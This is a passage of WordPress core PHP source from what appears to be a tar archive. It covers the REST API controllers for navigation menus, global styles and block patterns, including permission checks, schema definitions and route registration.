		return rest_ensure_response( $response );
	}

	/**
	 * Deletes a single term from a taxonomy.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$term = $this->get_term( $request['id'] );
		if ( is_wp_error( $term ) ) {
			return $term;
		}

		// We don't support trashing for terms.
		if ( ! $request['force'] ) {
			/* translators: %s: force=true */
			return new WP_Error( 'rest_trash_not_supported', sprintf( __( "Menus do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) );
		}

		$request->set_param( 'context', 'view' );

		$previous = $this->prepare_item_for_response( $term, $request );

		$result = wp_delete_nav_menu( $term );

		if ( ! $result || is_wp_error( $result ) ) {
			return new WP_Error( 'rest_cannot_delete', __( 'The menu cannot be deleted.' ), array( 'status' => 500 ) );
		}

		$response = new WP_REST_Response();
		$response->set_data(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
		do_action( "rest_delete_{$this->taxonomy}", $term, $response, $request );

		return $response;
	}

	/**
	 * Returns the value of a menu's auto_add setting.
	 *
	 * @since 5.9.0
	 *
	 * @param int $menu_id The menu id to query.
	 * @return bool The value of auto_add.
	 */
	protected function get_menu_auto_add( $menu_id ) {
		$nav_menu_option = (array) get_option( 'nav_menu_options', array( 'auto_add' => array() ) );

		return in_array( $menu_id, $nav_menu_option['auto_add'], true );
	}

	/**
	 * Updates the menu's auto add from a REST request.
	 *
	 * @since 5.9.0
	 *
	 * @param int             $menu_id The menu id to update.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool True if the auto add setting was successfully updated.
	 */
	protected function handle_auto_add( $menu_id, $request ) {
		if ( ! isset( $request['auto_add'] ) ) {
			return true;
		}

		$nav_menu_option = (array) get_option( 'nav_menu_options', array( 'auto_add' => array() ) );

		if ( ! isset( $nav_menu_option['auto_add'] ) ) {
			$nav_menu_option['auto_add'] = array();
		}

		$auto_add = $request['auto_add'];

		$i = array_search( $menu_id, $nav_menu_option['auto_add'], true );

		if ( $auto_add && false === $i ) {
			$nav_menu_option['auto_add'][] = $menu_id;
		} elseif ( ! $auto_add && false !== $i ) {
			array_splice( $nav_menu_option['auto_add'], $i, 1 );
		}

		$update = update_option( 'nav_menu_options', $nav_menu_option );

		/** This action is documented in wp-includes/nav-menu.php */
		do_action( 'wp_update_nav_menu', $menu_id );

		return $update;
	}

	/**
	 * Returns the names of the locations assigned to the menu.
	 *
	 * @since 5.9.0
	 *
	 * @param int $menu_id The menu id.
	 * @return string[] The locations assigned to the menu.
	 */
	protected function get_menu_locations( $menu_id ) {
		$locations      = get_nav_menu_locations();
		$menu_locations = array();

		foreach ( $locations as $location => $assigned_menu_id ) {
			if ( $menu_id === $assigned_menu_id ) {
				$menu_locations[] = $location;
			}
		}

		return $menu_locations;
	}

	/**
	 * Updates the menu's locations from a REST request.
	 *
	 * @since 5.9.0
	 *
	 * @param int             $menu_id The menu id to update.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True on success, a WP_Error on an error updating any of the locations.
	 */
	protected function handle_locations( $menu_id, $request ) {
		if ( ! isset( $request['locations'] ) ) {
			return true;
		}

		$menu_locations = get_registered_nav_menus();
		$menu_locations = array_keys( $menu_locations );
		$new_locations  = array();
		foreach ( $request['locations'] as $location ) {
			if ( ! in_array( $location, $menu_locations, true ) ) {
				return new WP_Error(
					'rest_invalid_menu_location',
					__( 'Invalid menu location.' ),
					array(
						'status'   => 400,
						'location' => $location,
					)
				);
			}
			$new_locations[ $location ] = $menu_id;
		}
		$assigned_menu = get_nav_menu_locations();
		foreach ( $assigned_menu as $location => $term_id ) {
			if ( $term_id === $menu_id ) {
				unset( $assigned_menu[ $location ] );
			}
		}
		$new_assignments = array_merge( $assigned_menu, $new_locations );
		set_theme_mod( 'nav_menu_locations', $new_assignments );

		return true;
	}

	/**
	 * Retrieves the term's schema, conforming to JSON Schema.
	 *
	 * @since 5.9.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = parent::get_item_schema();
		unset( $schema['properties']['count'], $schema['properties']['link'], $schema['properties']['taxonomy'] );

		$schema['properties']['locations'] = array(
			'description' => __( 'The locations assigned to the menu.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
			'context'     => array( 'view', 'edit' ),
			'arg_options' => array(
				'validate_callback' => static function ( $locations, $request, $param ) {
					$valid = rest_validate_request_arg( $locations, $request, $param );

					if ( true !== $valid ) {
						return $valid;
					}

					$locations = rest_sanitize_request_arg( $locations, $request, $param );

					foreach ( $locations as $location ) {
						if ( ! array_key_exists( $location, get_registered_nav_menus() ) ) {
							return new WP_Error(
								'rest_invalid_menu_location',
								__( 'Invalid menu location.' ),
								array(
									'location' => $location,
								)
							);
						}
					}

					return true;
				},
			),
		);

		$schema['properties']['auto_add'] = array(
			'description' => __( 'Whether to automatically add top level pages to this menu.' ),
			'context'     => array( 'view', 'edit' ),
			'type'        => 'boolean',
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-global-styles-controller.php000066600000051127152442706000016736 0ustar00<?php
/**
 * REST API: WP_REST_Global_Styles_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since 5.9.0
 */

/**
 * Base Global Styles REST API Controller.
 */
class WP_REST_Global_Styles_Controller extends WP_REST_Posts_Controller {
	/**
	 * Whether the controller supports batching.
	 *
	 * @since 6.6.0
	 * @var array
	 */
	protected $allow_batch = array( 'v1' => false );

	/**
	 * Constructor.
	 *
	 * @since 6.6.0
	 *
	 * @param string $post_type Post type.
	 */
	public function __construct( $post_type = 'wp_global_styles' ) {
		parent::__construct( $post_type );
	}

	/**
	 * Registers the controllers routes.
	 *
	 * @since 5.9.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/themes/(?P<stylesheet>[\/\s%\w\.\(\)\[\]\@_\-]+)/variations',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_theme_items' ),
					'permission_callback' => array( $this, 'get_theme_items_permissions_check' ),
					'args'                => array(
						'stylesheet' => array(
							'description' => __( 'The theme identifier' ),
							'type'        => 'string',
						),
					),
					'allow_batch'         => $this->allow_batch,
				),
			)
		);

		// List themes global styles.
		register_rest_route(
			$this->namespace,
			// The route.
			sprintf(
				'/%s/themes/(?P<stylesheet>%s)',
				$this->rest_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'[^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?'
			),
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_theme_item' ),
					'permission_callback' => array( $this, 'get_theme_item_permissions_check' ),
					'args'                => array(
						'stylesheet' => array(
							'description'       => __( 'The theme identifier' ),
							'type'              => 'string',
							'sanitize_callback' => array( $this, '_sanitize_global_styles_callback' ),
						),
					),
					'allow_batch'         => $this->allow_batch,
				),
			)
		);

		// Lists/updates a single global style variation based on the given id.
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\/\d+]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'id' => array(
							'description' => __( 'ID of global styles config.' ),
							'type'        => 'integer',
						),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				'schema'      => array( $this, 'get_public_item_schema' ),
				'allow_batch' => $this->allow_batch,
			)
		);
	}

	/**
	 * Sanitize the global styles stylesheet to decode endpoint.
	 * For example, `wp/v2/global-styles/twentytwentytwo%200.4.0`
	 * would be decoded to `twentytwentytwo 0.4.0`.
	 *
	 * @since 5.9.0
	 *
	 * @param string $stylesheet Global styles stylesheet.
	 * @return string Sanitized global styles stylesheet.
	 */
	public function _sanitize_global_styles_callback( $stylesheet ) {
		return urldecode( $stylesheet );
	}

	/**
	 * Get the post, if the ID is valid.
	 *
	 * @since 5.9.0
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_post( $id ) {
		$error = new WP_Error(
			'rest_global_styles_not_found',
			__( 'No global styles config exists with that ID.' ),
			array( 'status' => 404 )
		);

		$id = (int) $id;
		if ( $id <= 0 ) {
			return $error;
		}

		$post = get_post( $id );
		if ( empty( $post ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) {
			return $error;
		}

		return $post;
	}

	/**
	 * Checks if a given request has access to read a single global style.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( 'edit' === $request['context'] && $post && ! $this->check_update_permission( $post ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit this global style.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! $this->check_read_permission( $post ) ) {
			return new WP_Error(
				'rest_cannot_view',
				__( 'Sorry, you are not allowed to view this global style.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Checks if a global style can be read.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Post $post Post object.
	 * @return bool Whether the post can be read.
	 */
	public function check_read_permission( $post ) {
		return current_user_can( 'read_post', $post->ID );
	}

	/**
	 * Checks if a given request has access to write a single global styles config.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( $post && ! $this->check_update_permission( $post ) ) {
			return new WP_Error(
				'rest_cannot_edit',
				__( 'Sorry, you are not allowed to edit this global style.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Prepares a single global styles config for update.
	 *
	 * @since 5.9.0
	 * @since 6.2.0 Added validation of styles.css property.
	 * @since 6.6.0 Added registration of block style variations from theme.json sources (theme.json, user theme.json, partials).
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Prepared item on success. WP_Error on when the custom CSS is not valid.
	 */
	protected function prepare_item_for_database( $request ) {
		$changes     = new stdClass();
		$changes->ID = $request['id'];

		$post            = get_post( $request['id'] );
		$existing_config = array();
		if ( $post ) {
			$existing_config     = json_decode( $post->post_content, true );
			$json_decoding_error = json_last_error();
			if ( JSON_ERROR_NONE !== $json_decoding_error || ! isset( $existing_config['isGlobalStylesUserThemeJSON'] ) ||
				! $existing_config['isGlobalStylesUserThemeJSON'] ) {
				$existing_config = array();
			}
		}

		if ( isset( $request['styles'] ) || isset( $request['settings'] ) ) {
			$config = array();
			if ( isset( $request['styles'] ) ) {
				if ( isset( $request['styles']['css'] ) ) {
					$css_validation_result = $this->validate_custom_css( $request['styles']['css'] );
					if ( is_wp_error( $css_validation_result ) ) {
						return $css_validation_result;
					}
				}
				$config['styles'] = $request['styles'];
			} elseif ( isset( $existing_config['styles'] ) ) {
				$config['styles'] = $existing_config['styles'];
			}

			// Register theme-defined variations e.g. from block style variation partials under `/styles`.
			$variations = WP_Theme_JSON_Resolver::get_style_variations( 'block' );
			wp_register_block_style_variations_from_theme_json_partials( $variations );

			if ( isset( $request['settings'] ) ) {
				$config['settings'] = $request['settings'];
			} elseif ( isset( $existing_config['settings'] ) ) {
				$config['settings'] = $existing_config['settings'];
			}
			$config['isGlobalStylesUserThemeJSON'] = true;
			$config['version']                     = WP_Theme_JSON::LATEST_SCHEMA;
			$changes->post_content                 = wp_json_encode( $config );
		}

		// Post title.
		if ( isset( $request['title'] ) ) {
			if ( is_string( $request['title'] ) ) {
				$changes->post_title = $request['title'];
			} elseif ( ! empty( $request['title']['raw'] ) ) {
				$changes->post_title = $request['title']['raw'];
			}
		}

		return $changes;
	}

	/**
	 * Prepare a global styles config output for response.
	 *
	 * @since 5.9.0
	 * @since 6.6.0 Added custom relative theme file URIs to `_links`.
	 *
	 * @param WP_Post         $post    Global Styles post object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $post, $request ) {
		$raw_config                       = json_decode( $post->post_content, true );
		$is_global_styles_user_theme_json = isset( $raw_config['isGlobalStylesUserThemeJSON'] ) && true === $raw_config['isGlobalStylesUserThemeJSON'];
		$config                           = array();
		$theme_json                       = null;
		if ( $is_global_styles_user_theme_json ) {
			$theme_json = new WP_Theme_JSON( $raw_config, 'custom' );
			$config     = $theme_json->get_raw_data();
		}

		// Base fields for every post.
		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $post->ID;
		}

		if ( rest_is_field_included( 'title', $fields ) ) {
			$data['title'] = array();
		}
		if ( rest_is_field_included( 'title.raw', $fields ) ) {
			$data['title']['raw'] = $post->post_title;
		}
		if ( rest_is_field_included( 'title.rendered', $fields ) ) {
			add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
			add_filter( 'private_title_format', array( $this, 'protected_title_format' ) );

			$data['title']['rendered'] = get_the_title( $post->ID );

			remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
			remove_filter( 'private_title_format', array( $this, 'protected_title_format' ) );
		}

		if ( rest_is_field_included( 'settings', $fields ) ) {
			$data['settings'] = ! empty( $config['settings'] ) && $is_global_styles_user_theme_json ? $config['settings'] : new stdClass();
		}

		if ( rest_is_field_included( 'styles', $fields ) ) {
			$data['styles'] = ! empty( $config['styles'] ) && $is_global_styles_user_theme_json ? $config['styles'] : new stdClass();
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $post->ID );

			// Only return resolved URIs for get requests to user theme JSON.
			if ( $theme_json ) {
				$resolved_theme_uris = WP_Theme_JSON_Resolver::get_resolved_theme_uris( $theme_json );
				if ( ! empty( $resolved_theme_uris ) ) {
					$links['https://api.w.org/theme-file'] = $resolved_theme_uris;
				}
			}

			$response->add_links( $links );
			if ( ! empty( $links['self']['href'] ) ) {
				$actions = $this->get_available_actions( $post, $request );
				$self    = $links['self']['href'];
				foreach ( $actions as $rel ) {
					$response->add_link( $rel, $self );
				}
			}
		}

		return $response;
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.9.0
	 * @since 6.3.0 Adds revisions count and rest URL href to version-history.
	 *
	 * @param integer $id ID.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $id ) {
		$base = sprintf( '%s/%s', $this->namespace, $this->rest_base );

		$links = array(
			'self'  => array(
				'href' => rest_url( trailingslashit( $base ) . $id ),
			),
			'about' => array(
				'href' => rest_url( 'wp/v2/types/' . $this->post_type ),
			),
		);

		if ( post_type_supports( $this->post_type, 'revisions' ) ) {
			$revisions                = wp_get_latest_revision_id_and_total_count( $id );
			$revisions_count          = ! is_wp_error( $revisions ) ? $revisions['count'] : 0;
			$revisions_base           = sprintf( '/%s/%d/revisions', $base, $id );
			$links['version-history'] = array(
				'href'  => rest_url( $revisions_base ),
				'count' => $revisions_count,
			);
		}

		return $links;
	}

	/**
	 * Get the link relations available for the post and current user.
	 *
	 * @since 5.9.0
	 * @since 6.2.0 Added 'edit-css' action.
	 * @since 6.6.0 Added $post and $request parameters.
	 *
	 * @param WP_Post         $post    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return array List of link relations.
	 */
	protected function get_available_actions( $post, $request ) {
		$rels = array();

		$post_type = get_post_type_object( $post->post_type );
		if ( current_user_can( $post_type->cap->publish_posts ) ) {
			$rels[] = 'https://api.w.org/action-publish';
		}

		if ( current_user_can( 'edit_css' ) ) {
			$rels[] = 'https://api.w.org/action-edit-css';
		}

		return $rels;
	}

	/**
	 * Retrieves the query params for the global styles collection.
	 *
	 * @since 5.9.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array();
	}

	/**
	 * Retrieves the global styles type' schema, conforming to JSON Schema.
	 *
	 * @since 5.9.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => $this->post_type,
			'type'       => 'object',
			'properties' => array(
				'id'       => array(
					'description' => __( 'ID of global styles config.' ),
					'type'        => 'integer',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'styles'   => array(
					'description' => __( 'Global styles.' ),
					'type'        => array( 'object' ),
					'context'     => array( 'view', 'edit' ),
				),
				'settings' => array(
					'description' => __( 'Global settings.' ),
					'type'        => array( 'object' ),
					'context'     => array( 'view', 'edit' ),
				),
				'title'    => array(
					'description' => __( 'Title of the global styles variation.' ),
					'type'        => array( 'object', 'string' ),
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'Title for the global styles variation, as it exists in the database.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit', 'embed' ),
						),
						'rendered' => array(
							'description' => __( 'HTML title for the post, transformed for display.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit', 'embed' ),
							'readonly'    => true,
						),
					),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Checks if a given request has access to read a single theme global styles config.
	 *
	 * @since 5.9.0
	 * @since 6.7.0 Allow users with edit post capabilities to view theme global styles.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_theme_item_permissions_check( $request ) {
		/*
		 * Verify if the current user has edit_posts capability.
		 * This capability is required to view global styles.
		 */
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		/*
		 * Verify if the current user has edit_theme_options capability.
		 */
		if ( current_user_can( 'edit_theme_options' ) ) {
			return true;
		}

		return new WP_Error(
			'rest_cannot_read_global_styles',
			__( 'Sorry, you are not allowed to access the global styles on this site.' ),
			array(
				'status' => rest_authorization_required_code(),
			)
		);
	}

	/**
	 * Returns the given theme global styles config.
	 *
	 * @since 5.9.0
	 * @since 6.6.0 Added custom relative theme file URIs to `_links`.
	 *
	 * @param WP_REST_Request $request The request instance.
	 * @return WP_REST_Response|WP_Error
	 */
	public function get_theme_item( $request ) {
		if ( get_stylesheet() !== $request['stylesheet'] ) {
			// This endpoint only supports the active theme for now.
			return new WP_Error(
				'rest_theme_not_found',
				__( 'Theme not found.' ),
				array( 'status' => 404 )
			);
		}

		$theme  = WP_Theme_JSON_Resolver::get_merged_data( 'theme' );
		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'settings', $fields ) ) {
			$data['settings'] = $theme->get_settings();
		}

		if ( rest_is_field_included( 'styles', $fields ) ) {
			$raw_data       = $theme->get_raw_data();
			$data['styles'] = isset( $raw_data['styles'] ) ? $raw_data['styles'] : array();
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links               = array(
				'self' => array(
					'href' => rest_url( sprintf( '%s/%s/themes/%s', $this->namespace, $this->rest_base, $request['stylesheet'] ) ),
				),
			);
			$resolved_theme_uris = WP_Theme_JSON_Resolver::get_resolved_theme_uris( $theme );
			if ( ! empty( $resolved_theme_uris ) ) {
				$links['https://api.w.org/theme-file'] = $resolved_theme_uris;
			}
			$response->add_links( $links );
		}

		return $response;
	}

	/**
	 * Checks if a given request has access to read a single theme global styles config.
	 *
	 * @since 6.0.0
	 * @since 6.7.0 Allow users with edit post capabilities to view theme global styles.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_theme_items_permissions_check( $request ) {
		return $this->get_theme_item_permissions_check( $request );
	}

	/**
	 * Returns the given theme global styles variations.
	 *
	 * @since 6.0.0
	 * @since 6.2.0 Returns parent theme variations, if they exist.
	 * @since 6.6.0 Added custom relative theme file URIs to `_links` for each item.
	 *
	 * @param WP_REST_Request $request The request instance.
	 *
	 * @return WP_REST_Response|WP_Error
	 */
	public function get_theme_items( $request ) {
		if ( get_stylesheet() !== $request['stylesheet'] ) {
			// This endpoint only supports the active theme for now.
			return new WP_Error(
				'rest_theme_not_found',
				__( 'Theme not found.' ),
				array( 'status' => 404 )
			);
		}

		$response = array();

		// Register theme-defined variations e.g. from block style variation partials under `/styles`.
		$partials = WP_Theme_JSON_Resolver::get_style_variations( 'block' );
		wp_register_block_style_variations_from_theme_json_partials( $partials );

		$variations = WP_Theme_JSON_Resolver::get_style_variations();
		foreach ( $variations as $variation ) {
			$variation_theme_json = new WP_Theme_JSON( $variation );
			$resolved_theme_uris  = WP_Theme_JSON_Resolver::get_resolved_theme_uris( $variation_theme_json );
			$data                 = rest_ensure_response( $variation );
			if ( ! empty( $resolved_theme_uris ) ) {
				$data->add_links(
					array(
						'https://api.w.org/theme-file' => $resolved_theme_uris,
					)
				);
			}
			$response[] = $this->prepare_response_for_collection( $data );
		}

		return rest_ensure_response( $response );
	}

	/**
	 * Validate style.css as valid CSS.
	 *
	 * Currently just checks for invalid markup.
	 *
	 * @since 6.2.0
	 * @since 6.4.0 Changed method visibility to protected.
	 *
	 * @param string $css CSS to validate.
	 * @return true|WP_Error True if the input was validated, otherwise WP_Error.
	 */
	protected function validate_custom_css( $css ) {
		if ( preg_match( '#</?\w+#', $css ) ) {
			return new WP_Error(
				'rest_custom_css_illegal_markup',
				__( 'Markup is not allowed in CSS.' ),
				array( 'status' => 400 )
			);
		}
		return true;
	}
}
endpoints/class-wp-rest-block-patterns-controller.php000066600000022120152442706000017074 0ustar00<?php
/**
 * REST API: WP_REST_Block_Patterns_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since      6.0.0
 */

/**
 * Core class used to access block patterns via the REST API.
 *
 * @since 6.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Block_Patterns_Controller extends WP_REST_Controller {

	/**
	 * Defines whether remote patterns should be loaded.
	 *
	 * @since 6.0.0
	 * @var bool
	 */
	private $remote_patterns_loaded;

	/**
	 * An array that maps old categories names to new ones.
	 *
	 * @since 6.2.0
	 * @var array
	 */
	protected static $categories_migration = array(
		'buttons' => 'call-to-action',
		'columns' => 'text',
		'query'   => 'posts',
	);

	/**
	 * Constructs the controller.
	 *
	 * @since 6.0.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'block-patterns/patterns';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 6.0.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read block patterns.
	 *
	 * @since 6.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view',
			__( 'Sorry, you are not allowed to view the registered block patterns.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Retrieves all block patterns.
	 *
	 * @since 6.0.0
	 * @since 6.2.0 Added migration for old core pattern categories to the new ones.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		if ( ! $this->remote_patterns_loaded ) {
			// Load block patterns from w.org.
			_load_remote_block_patterns(); // Patterns with the `core` keyword.
			_load_remote_featured_patterns(); // Patterns in the `featured` category.
			_register_remote_theme_patterns(); // Patterns requested by current theme.

			$this->remote_patterns_loaded = true;
		}

		$response = array();
		$patterns = WP_Block_Patterns_Registry::get_instance()->get_all_registered();
		foreach ( $patterns as $pattern ) {
			$migrated_pattern = $this->migrate_pattern_categories( $pattern );
			$prepared_pattern = $this->prepare_item_for_response( $migrated_pattern, $request );
			$response[]       = $this->prepare_response_for_collection( $prepared_pattern );
		}
		return rest_ensure_response( $response );
	}

	/**
	 * Migrates old core pattern categories to the new categories.
	 *
	 * Core pattern categories are revamped. Migration is needed to ensure
	 * backwards compatibility.
	 *
	 * @since 6.2.0
	 *
	 * @param array $pattern Raw pattern as registered, before applying any changes.
	 * @return array Migrated pattern.
	 */
	protected function migrate_pattern_categories( $pattern ) {
		// No categories to migrate.
		if (
			! isset( $pattern['categories'] ) ||
			! is_array( $pattern['categories'] )
		) {
			return $pattern;
		}

		foreach ( $pattern['categories'] as $index => $category ) {
			// If the category exists as a key, then it needs migration.
			if ( isset( static::$categories_migration[ $category ] ) ) {
				$pattern['categories'][ $index ] = static::$categories_migration[ $category ];
			}
		}

		return $pattern;
	}

	/**
	 * Prepare a raw block pattern before it gets output in a REST API response.
	 *
	 * @since 6.0.0
	 * @since 6.3.0 Added `source` property.
	 *
	 * @param array           $item    Raw pattern as registered, before any changes.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Resolve pattern blocks so they don't need to be resolved client-side
		// in the editor, improving performance.
		$blocks          = parse_blocks( $item['content'] );
		$blocks          = resolve_pattern_blocks( $blocks );
		$item['content'] = serialize_blocks( $blocks );

		$fields = $this->get_fields_for_response( $request );
		$keys   = array(
			'name'          => 'name',
			'title'         => 'title',
			'content'       => 'content',
			'description'   => 'description',
			'viewportWidth' => 'viewport_width',
			'inserter'      => 'inserter',
			'categories'    => 'categories',
			'keywords'      => 'keywords',
			'blockTypes'    => 'block_types',
			'postTypes'     => 'post_types',
			'templateTypes' => 'template_types',
			'source'        => 'source',
		);
		$data   = array();
		foreach ( $keys as $item_key => $rest_key ) {
			if ( isset( $item[ $item_key ] ) && rest_is_field_included( $rest_key, $fields ) ) {
				$data[ $rest_key ] = $item[ $item_key ];
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );
		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves the block pattern schema, conforming to JSON Schema.
	 *
	 * @since 6.0.0
	 * @since 6.3.0 Added `source` property.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'block-pattern',
			'type'       => 'object',
			'properties' => array(
				'name'           => array(
					'description' => __( 'The pattern name.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'title'          => array(
					'description' => __( 'The pattern title, in human readable format.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'content'        => array(
					'description' => __( 'The pattern content.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'description'    => array(
					'description' => __( 'The pattern detailed description.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'viewport_width' => array(
					'description' => __( 'The pattern viewport width for inserter preview.' ),
					'type'        => 'number',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'inserter'       => array(
					'description' => __( 'Determines whether the pattern is visible in inserter.' ),
					'type'        => 'boolean',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'categories'     => array(
					'description' => __( 'The pattern category slugs.' ),
					'type'        => 'array',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'keywords'       => array(
					'description' => __( 'The pattern keywords.' ),
					'type'        => 'array',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'block_types'    => array(
